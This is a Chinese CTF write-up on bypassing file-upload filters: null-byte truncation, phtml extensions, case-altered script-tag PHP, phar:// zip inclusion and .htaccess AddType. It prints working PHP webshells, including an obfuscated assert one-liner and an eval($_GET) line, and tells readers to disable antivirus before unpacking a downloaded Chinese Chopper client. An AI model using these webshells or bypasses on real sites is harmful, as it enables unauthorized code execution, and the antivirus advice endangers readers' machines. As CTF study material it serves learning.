截斷上傳 CTF


題目:上傳繞過

介紹:http://teamxlc.sinaapp.com/web5/21232f297a57a5a743894a0e4a801fc3/index.html

1,我們打開鏈接,是個上傳題,我們先隨便上傳點東西,提示   不被允許的文件類型,僅支持上傳jpg,gif,png后綴的文件   ,然后我們上傳一張圖片后綴是.png,結果顯示     必須上傳成后綴名為php的文件才行啊!  ,現在我們上傳php文件,結果顯示     不被允許的文件類型,僅支持上傳jpg,gif,png后綴的文件。

2,這里我們應該怎么辦呢,接下來我們截斷上傳,我們打開burp suite ,上傳一個png文件,使之上傳成功,我們會抓到上傳的路徑,我們在抓到的路徑uploads/ 后面加個空格,然后在Hex出把20改成00(當程序輸出包含chr(0)變量時,chr(0)后面的數據會被截斷,后面的數據直接忽略,導致漏洞產生。在/Upload/后面加一個空格,點開hex,將其對應的20改成00,就可以繞過后綴名的過濾),如下圖所示

3,完成上面的之后點擊Forword,我們看瀏覽器頁面,可以看見flag。(想要了解更多參考http://www.cnblogs.com/hack0ne/p/4603144.html)

 

 

 

 

題目:上傳1

介紹:這是極客里面的上傳題,不過現在已經平台關閉了,沒辦法給你們截圖了。

1、

題目設有兩句引導語:

echo ‘This type of file is forbidden’;      echo ‘You are closer to the answer’;

這兩句可以推測出,這里是想讓你用PHP文件的多種后綴名(php3,php4,phtml 等)來繞過

上傳phtml后綴的文件后,就拿到了第一個flag。

 

 

 

題目:上傳2

介紹:這是上傳1的延伸.這個題可以有兩種辦法來解。我都列出來。

一、這是三葉草官方發布的:

根據你上傳文件輸出的內容,可以看出是過濾了哪個字符

$array=array(‘<?’,’?>’,’php’);

這里由於我的失誤,在隨后的過濾中只過濾了一次,也就是說你可以雙寫上述字符進行繞過,但是有些同學給的payload僅雙寫了某個字符(比如僅僅雙寫了”<?”),這樣是不可以的

在修正了我的錯誤后,過濾規則沒變,只不過會過濾到直到沒有上面的三個元素,遂上面的方式失效了

但是,可以使用PHP語言的短標簽(php.ini中的short_open_tag=on)來繞過:

<script language='php'>phpinfo();</script>

加上php被過濾,因此轉換下大小寫即可:
例如:

<script language='pHp'>phpinfo();</script>


二、另一種辦法是連菜刀

1、我們上傳的時候還是上傳 xxx.phtml,不過里面的內容要寫成下面的東西,下面寫的,過濾了好多東西。
<script language="pHp">$k="ass"."ert"; $k(${"_PO"."ST"} ['8']);</script>
上傳成功之后就連菜刀就行了(沒有的可以私聊我qq:483058235,也可以留言我每天都會看一下博客,或者自己百度下載,我的也是百度下載的,
記得解壓的時候要把電腦里面的所有的殺毒軟件(360,電腦管家等等)都關掉),這里我演示一下連菜刀的圖片給你們,以后連菜刀的我就不演示了。,
首先打開菜刀,然后輸入地址,也就是你上傳成功的路徑,然后在后面那個小框里面輸入你POST的東西,
比如上面的${"_PO"."ST"} ['8'])
,這個就是在小框里輸入8 然后改下下面的腳本類型,添加就OK了,然后再看里面的東西,會有flag.
ps:自己可以搜一下一句話,這里有好多類型的php,asp等等......







題目:上傳
介紹:這是剛剛結束的HCTF的上傳題目,地址:http://pics.hctf.io/home.php?key=hduisa123,你們沒有賬號估計進不去,沒事我給截圖。
1,這是 zip協議包含文件 不懂的可以百度一下,首先我們可以看到頁面,

2,我們先測試一下,很簡單的,我們先創建一個php文件,里面輸入<?php echo phpinfo(); ?>就行了,接下來我們把php文件壓縮成zip文件,

之前測試可以知道只支持上傳png文件,所以我們把zip文件改成png,(1.php→壓縮→1.zip→重命名→1.png→上傳)

這樣就會上傳成功了,記住文件上傳成功的路徑,接下來我們在原來的頁面測試一下是不是上傳成功,

輸入?fp=phar://uploads/d6c97df8f7e9453739248070e0ef29edbbab7d5d.png/1111    
這里的phar是讀zip文件的,這里的1111是你上傳的png的文件名,每個人上傳的路徑都是不一樣的,不要直接拿我的試。

因為你剛開始壓縮的是1111.php文件,這里的1111的后面不用加.php了,因為fp把本地文件包含進來的時候已經加了.php了。

下面我們看截圖

3,可以看到我們測試成功,接下來你們就可以重新上傳一句話,然后和上面上傳一樣,上傳成功之后連菜刀,flag就出來了。

 

 

 

 

題目:.htaccess 文件上傳  漏洞

有的上傳是只允許jpg,png......不允許php,asp,aspx,jsp等上傳,但是這里講到的htaccess文件上傳是利用一個上傳的一個疏忽。

.htaccess 是apache服務器中的一個配置文件,不是上傳的文件的黑名單之內,因此可以上傳成功。

.htaccess文件中定義了將上傳的文件后綴名為 .jpg 格式的文件以 php 格式來解析文件。

上傳.htaccess文件的內容為:

<IfModule>

AddType application/x-http-php .jpg 

</IfModule>

  (上傳的jpg 均以php執行,同樣png,html,txt都是一樣的)

把.htaccess 上傳后,且上傳成功后,再上傳內容為一句話的jpg文件

jpg文件內容:<?php @eval($_GET["orange"]); ?>

查看上傳成功的路徑,可以執行php語句。進而getshell。

 

 

 

 

 

任重而道遠!

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM